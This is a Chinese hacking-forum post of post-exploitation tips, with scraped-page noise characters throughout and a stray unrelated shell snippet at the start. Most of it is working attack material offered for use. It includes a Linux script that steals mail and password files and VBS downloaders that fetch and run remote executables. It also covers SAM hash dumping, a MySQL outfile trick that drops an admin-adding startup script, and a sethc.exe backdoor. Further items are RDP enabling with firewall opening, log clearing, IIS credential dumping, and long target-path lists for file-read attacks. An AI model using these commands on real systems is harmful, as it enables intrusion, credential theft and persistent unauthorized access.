$ w/ Q: J, W2 f) {; K1 V1 E4 H. Z* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
& A6 l+ ^) j. d, p, h$ M9 j* [argp@julius ~]$ ./nfs_mount_ex
& @- l9 F; A3 j/ B/ ?' d/ e. G% E0 I*
calling nmount()
' x  r% ]: U3 |  P7 L+ N; L
, _! s5 c8 w$ [" y# A（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
( F) g. ?; y0 B9 a, s) B感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
4 y" C8 h0 E  w' y+ i5 u1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
& H8 B4 U/ D/ j# ?& ~0 e{
6 \! q+ F) Q( ]注：
# ?  y) N/ w; d6 @: g1 I1 l$ ^5 |关于tar的打包方式,linux不以扩展名来决定文件类型。
0 R1 d+ e! o1 U6 i1 Z若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
; C/ s" `8 N% u" H, K那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
/ N8 Z/ Z( Z2 @0 R9 d; S$ b
提权先执行systeminfo
- B2 v! n+ Q5 E: _9 Vtoken 漏洞补丁号 KB956572
; G! F( r" y0 G4 @! cChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
* U6 m( K4 \! {5 s3 R" v——————————————
2、收集系统信息的脚本  
for window：
+ k- p4 D" A* u" G
7 p0 l8 b; S  ?3 Y@echo off
4 s$ A) q" u" ~. n  r) {- Q6 F6 Techo #########system info collection
systeminfo
4 J- v4 q+ E0 o3 [7 k8 over
hostname
. `: E7 m5 r& r" x6 b  E0 A# wnet user
net localgroup
* c: P/ o  e2 p& _. fnet localgroup administrators
. s3 ?, r6 T; m- a% vnet user guest
5 v& L) N: `# X, k/ Nnet user administrator
. S" S; o  d. C1 {- m+ @- _
echo #######at- with   atq#####
* i5 I: c4 G- n% p( [' M5 ?echo schtask /query
: B/ ?. c* g6 J
4 Q  {; D; Q* l* j2 v9 Becho
echo ####task-list#############
, |3 b9 z! Q4 n2 @tasklist /svc
5 N, ~$ ~/ y5 e* k, M8 Mecho
echo ####net-work infomation
% Y/ Q% C  x, Uipconfig/all
# ^) D( u  ]/ u) u+ v: j4 t; }route print
0 l% M$ u  P" N. _0 Rarp -a
netstat -anipconfig /displaydns
echo
echo #######service############
9 r* t, M( l5 z! k3 ]! V" Ssc query type= service state= all
2 P; w# w' N* h& v/ }0 S' Xecho #######file-##############
% ?, |$ \) Z, Rcd \
1 j7 |$ W/ ^$ ~8 rtree -F
for linux：
3 O/ [) G- v# N6 ?% x
/ m8 B; t* g* q1 `! `7 S" X7 v#!/bin/bash
! [0 N6 {1 {4 D$ K
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
2 G( F: i, {* y$ ]& H0 G9 Scat /proc/meminfo
: u  i, N( D! W) w; }+ {/ Wecho
: @. H8 G$ k, a) |cat /proc/cpuinfo
% ^, g) f9 v1 u! ^+ Lecho
  e, {; \( m9 d- F, u) Urpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
2 F/ Q" p" r, p+ O
7 R" w6 C3 \. W
: H  y  r* p. X' ^1 ]7 techo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
7 s. B; W! O; E9 Z/ g( z: m$ h# i/ becho #####about var#####
set

5 l# ]4 @3 W' X6 o+ m8 ]% n1 [echo #####about network###
$ _, T: B4 D( F3 u, |####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
; N& d. l' O3 B  y. ?/ yarp -v
echo ########user####
cat /etc/passwd|grep -i sh
) C' X1 c# ^6 B3 r, i; Q' e, Z
0 x- W' c7 o' U0 Uecho ######service####
  W6 Q* l4 Y- L, S% y, Kchkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
/ ~) Z+ S9 Y; g3 e+ G
locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
4 i( ]5 `% a: T( B4 {7 k( b- i7 V7 isleep 5
: r( W% P& p, Z% ?  z% f: y% Olocate conf >/tmp/sysconfig 2>dev/null
& _5 ~6 }5 {6 ksleep 5
2 `8 a) }4 D+ b* z. s4 n4 T) o, olocate config >>/tmp/sysconfig 2>/dev/null
8 z, l# D. Z' B- _sleep 5

###maybe can use "tree /"###
' U, d9 B5 `9 V4 A3 u( h: becho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
3 }/ D% c- g  w9 S, Z3 O# n——————————————
* r' \0 V7 ^8 m3、ethash 不免杀怎么获取本机hash。
4 F7 M% C0 O2 y首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
$ f! q, y& R. `' ^- A接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
6 ~+ ~) e' S! b( Bhash 抓完了记得把自己的账户密码改过来哦！
* y$ k" @* Z6 t* S/ N据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
  p4 P. h4 n* |echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
% R( ^  ~1 C3 y  n7 aecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
- ~3 ~# r4 F* X7 mecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
4 G' S' \1 {( v% }+ ?+ Z, Vecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
  r. ?; M4 a: {3 V  O) Bcftmon.vbs
& Y1 H% y/ h3 j
; k2 T, i6 U. @  r; Q; }; W  d2
On Error Resume Nextim iRemote,iLocal,s1,s2
: F& {, D8 O+ T3 j0 A! liLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
% F$ D# \2 h) M8 ~2 lSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
0 X- R# C! B3 Q+ N. j4 wSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
8 l9 @' V6 f7 o( [( p4 M
: z: q! h7 n- ], j# v6 p! p' f2 Scscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

% l# o0 A2 H4 ?" ~当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
5 x% f. Z1 ]% I! I+ m1 z5 R% E——————————————————
: P3 t. f5 Q% [$ ]+ s& h' q1 T. q& E5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
1 U4 |7 d1 M: A" |$ qREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
$ c# d& K8 m+ n0 pREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
; M8 x. U3 n! `9 w/ R7 ]3 h4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
: B8 C8 Y" r) Y6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
% P# o, o! [' u' s2 ?, R- minsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
3 j' N) B" t, K+ T! Linsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
' M2 w$ B4 w4 g! S/ K4 t" s& w_____
8、for /d %i in (d:\freehost\*) do @echo %i
+ x  a4 u5 U7 m2 j3 x$ ]
! h) @& \! G3 v/ G3 M. z" a列出d的所有目录
  
  for /d %i in (???) do @echo %i
4 v9 k$ N- D3 Q4 _% U& x' j
把当前路径下文件夹的名字只有1-3个字母的打出来

6 u! S& Q8 F' W7 S8 s. f! ]- |; ~, J2.for /r %i in (*.exe) do @echo %i
% n7 h5 K% I1 ?2 q# `& _8 J  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
, ~$ X) o. G) |( W/ _) q  
# L5 G# _% x6 r7 d# e8 ?  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
$ e. o1 S3 ]$ D4 h  P/ G
  delims=后的空格是分隔符 tokens是取第几个位置
0 j2 W- o0 K" _, e) @——————————
; R- }6 ~1 j5 X6 f0 L! [$ V# t●注册表:
1.Administrator注册表备份:
) k6 m+ I" A. L$ C6 I+ k" Breg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
8 y8 r$ ]* K0 m8 R% r9 {- \
8 u) X) e7 R8 X2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
% _! B8 F1 ^3 h4 G# X3 d& j
! H# {" z' z4 o/ z+ O4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
4 Z, g4 d2 q1 P/ {1 F
5.禁用TCP/IP端口筛选(需重启):
7 }% z8 b, `, W3 OREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
  h0 G  G  h& c6 U
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
" ]0 x; [, J! u* \- Wnetsh ipsec dynamic set config ipsecexempt value=0
: P# I/ y1 h2 l( A3 B- K
# w& [' r, W+ @" k1 m2 N7.停止指派策略"myipsec":
; h6 C& D7 t, U  x; T6 N; ^netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

7 x  u$ Q0 k  [9.另类方法抓系统密码HASH
$ b/ v4 N/ G% L. Zreg save hklm\sam c:\sam.hive
- Q4 w8 T0 a$ _reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
( X9 o9 H! F0 C/ ^
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
' h0 N) e# V1 E/ s, j; @
4 M; G/ [5 ?+ S; Y$ qreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
7 r) s5 a, d! m1 n& a! b9 P4 P* ~5 f% b-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
8 _2 `5 i7 _1 v+ cif IsNumeric(childObjectName)=true then
- d6 l8 v& J' A4 vset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
$ b' H! o. r6 f$ W) Quser=iisweb.AnonymousUserName
0 F4 C8 J$ s) O  npass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
. A& n' Q" a" p0 E, s* T1 n* qNext
wscript.echo list
  K5 r& e" E+ bSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
; W" i% ^+ `* q<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
7 p' j1 N' e; w9 _0 j0 Y% f, ]复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
# Z# G& R9 S& \* J( `8 `asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
7 R1 D. T6 W. q1 O" n 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
* E6 t0 x; \) }. @ url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
2 c2 r6 r) u, c+ ]( {+ X  g+ w
==============================================================
$ @% C2 X5 l( NLINUX常见路径：
1 q! u* E( N1 r2 S7 s6 @) x. h
5 O+ j# g- B* u* T9 Z/etc/passwd
& u  u; i$ t% u$ o: @' o: s, u/etc/shadow
( B9 w7 a% C+ B/etc/fstab
1 r  G% p7 y& a6 l8 j, e$ D/etc/host.conf
/etc/motd
  Y+ v  P! F& v$ t/etc/ld.so.conf
/var/www/htdocs/index.php
& j- u4 W5 ~- x) Z1 G  e0 x/var/www/conf/httpd.conf
. ?' U9 B5 _) L7 q3 O- ^/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
+ n' {3 ^  Q( h' ^5 y% i# A/var/httpd/htdocs/index.html
* y/ M1 D  S0 z/ ^0 k/var/httpd/conf/php.ini
. `7 [7 n3 _5 m4 [& _2 d3 O4 \2 j% f) v/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
& V. o8 P5 C1 P& A3 l% ]6 u/opt/www/htdocs/index.html
9 g  K8 Q! Z, O9 }# `/usr/local/apache/htdocs/index.html
( i, g" {$ C7 _* w! E$ n/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
) Q2 q  u$ w( o/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
% Y. Q1 O+ T) G/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
. I: Y. S3 J5 ~1 {5 A/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
4 M* R: ~# c2 h- l: q% e/www/php4/php.ini
2 [3 S+ K8 H; m9 A0 [3 \2 a4 u7 }/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
5 h/ c- i2 O+ N) O2 B2 B/www/htdocs/index.html
% X& G. P8 V. F$ p7 z/usr/local/httpd/conf/httpd.conf
$ G! s( y! F  C9 a; Y9 z/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
1 U; ?1 t  s. @* K  R0 j3 X/etc/apache/apache.conf
! [  L/ V1 K1 L2 K+ }( v+ R/etc/apache2/apache.conf
/etc/apache/httpd.conf
% A* g8 _, ?* r# |$ F# c/etc/apache2/httpd.conf
8 A: x3 l- `$ e! O0 y8 E/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
" l* K+ O! }) [/ ?6 T, }( m7 M/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
4 I5 V0 _5 w* O/etc/httpd/logs/error.log
6 M, A! j: o& q' G/etc/httpd/logs/access_log
. \9 J6 E" T( f7 i% r/etc/httpd/logs/access.log
. w- g, f0 f8 \- }8 B/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
7 L7 ]* b$ _8 O( o6 P/var/log/apache/error_log
/var/log/apache/error.log
7 Q- I  n" @- c* @' \4 j! `/var/log/apache/access_log
/var/log/apache/access.log
0 Z3 g6 O8 J* B6 O( H! M/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
2 s: p; g! p, Y5 Q' A& k1 f2 y/var/log/apache2/access.log
. h" A/ r6 h8 }8 n& L/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
! v1 o/ x/ H' a) l0 b! M7 t/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
$ [; V" {' \- r/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
9 b- Z7 I( L+ X! }/usr/local/apache/logs/access_logaccess_log.old
4 E$ z0 p0 U, A! d/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
6 m/ S# W. Y) e& y- z' u' f/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
3 M" K( A& y/ R  a/ f& q8 H5 A) l: c" s/usr/local/lib/php.ini
( q  V7 ?6 Y4 E/ _' d/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
# p* |, W5 b% A! u  E9 |/usr/local/php5/lib/php.ini
: T- c9 f7 ^4 B/ C. E/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
, v% g) N" s# P$ q/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
6 }- H5 F, A* b1 f3 k# X/etc/php4/apache/php.ini
# z/ p5 j) K7 W/etc/php4/apache2/php.ini
& P' i; P( ^6 \3 I$ q! e/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
! s9 H7 d1 e9 P2 o6 L3 ^/etc/php/php4/php.ini
/etc/php/apache/php.ini
) Y* T9 n+ H: ~8 I: ?/etc/php/apache2/php.ini
. k) z2 e5 z3 f/web/conf/php.ini
- \6 ]- x" O( u' k4 U# D/ ]) p% ]/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
& G' N! d$ `. \/ B8 f% J6 A/var/local/www/conf/httpd.conf
# g1 S5 L; O% h2 s% Z: T& i/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/ C# T. k# i6 H2 w, k3 H5 U* j/php/php.ini
  X. K5 h$ ~' G: k6 u7 e( J) H/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
0 `! H$ l( x! S8 b/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
) y5 ]3 p" ^% I# C7 J/home/bin/stable/apache/php.ini
1 D8 A, z+ c3 `8 b" ?8 g( w0 D/var/log/mysql/mysql-bin.log
. h( J+ A5 g9 Q6 w" n8 x/var/log/mysql.log
( ~4 x2 W+ v5 P" S; u+ t/var/log/mysqlderror.log
& o, k: y8 U+ Y% X9 I5 D/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
2 M, p: t1 D* X  e* q/var/mysql.log
) ]; t2 b; D1 q) m( {' U3 t4 d8 {/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
* W* J! r6 l# U! Y& Y' @/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
# H$ J" |7 q5 K) t8 P/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
% _5 M! I& j! g+ z+ ]/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
. U! o; w8 z5 F9 s* Y, ]# i8 z/usr/local/cpanel/logs/stats_log
+ r; G3 Y' ~4 D# d4 h1 e  K+ B+ t+ q/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
& G" S' P: Z1 f5 Z+ ?5 L6 p6 q
* X% ?7 c# y' V6 A  G: {3 o/ a! Q( f; \7 S2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

) o* b' v& p' K# h# u- C7 X$ W9 }c:\windows\php.ini
3 U- d: C7 ?( |c:\boot.ini
$ Z2 {: I* c2 F2 Kc:\1.txt
1 i' u! n" t5 ?- I9 M: hc:\a.txt
, X, z" J& j* w) V0 f
c:\CMailServer\config.ini
! _2 `, {: G& h1 j, jc:\CMailServer\CMailServer.exe
0 g; m4 R- K: b; q+ B1 f$ Kc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
1 \6 _, D4 P0 AC:\WinWebMail\Web\default.asp
/ D7 O, _3 e; @$ J8 N2 K4 V$ |8 E4 UC:\WINDOWS\FreeHost32.dll
" a+ p, L6 Y5 I" j5 N/ V7 AC:\WINDOWS\7i24iislog4.exe
% Z2 |2 W  o0 IC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

" F9 A. ?# p$ t" {C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
# P' @$ X" Q/ \$ T$ @c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
6 v: N8 {  q1 g) V- Dc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
$ Y+ G, m& K8 ^2 ec:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
: o, F0 t( S4 U6 Z4 a5 Nc:\website\default.html
. X7 \. U8 M5 `: q" X# e: _c:\web\default.asp
1 _5 a1 }0 ^* `8 ?c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
) s( n! X9 z( E! }0 g" V+ l6 s; Hc:\WWWsite\default.php
) r% k+ I. B( t- ~C:\Inetpub\wwwroot\pagerror.gif
$ Q5 P  X# T: u6 Rc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
  D- v' ~, H4 F; k/ v! p  i5 ~C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
0 o  S' S+ r+ V) _# P, DC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
7 A! @9 p) z5 @2 `C:\Program Files\360Safe\360safe.exe
! E# U% L4 B; U" Y7 A6 \" x/ u- [C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
1 u) o% Q+ z& q) ^, A, _- |, PC:\Program Files\Rising\Rav\RsTask.xml
' l2 J( V' i+ \, F( RC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
( N0 H2 q% W. ?5 tC:\Documents and Settings\Administrator\Cookies\index.dat
5 z+ Z4 b5 c" Z1 w" D6 S0 H/ e9 DC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
  q, b3 ^) y0 }3 YC:\Documents and Settings\Administrator\My Documents\a.txt
0 G! u9 i. E; m8 X0 |+ t! Y3 r' zC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
. Z; s# A7 U* ?C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
* G& \: d0 R  O: ^' _$ q% ]) qC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
, w2 `  u/ P* y- `* W& @% ~C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
! n4 D0 X1 G: H; vC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
' ?# [+ o, N& I8 ?C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
# w# L( C6 ?2 N* X6 `$ BC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
4 u% k1 @2 }. |' v% vC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
& B9 X: w# L% }8 Qc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
7 Y6 u3 A/ [3 ?. e  RC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
" S: ]5 L1 P2 v7 rC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
& e% n* x# W6 sc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
8 I" O( [4 R/ Z, @" tc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
3 o, d+ l# M/ j" g8 K. cc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
7 m( r) B5 N7 A8 a; tc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
6 I( w! ?( Z* s7 jc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
4 |3 i/ m& g7 W* }. h# fC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
* g/ D7 J' f6 N6 D1 d5 L/ G/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
& s4 G* W+ v( {' w/ pc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
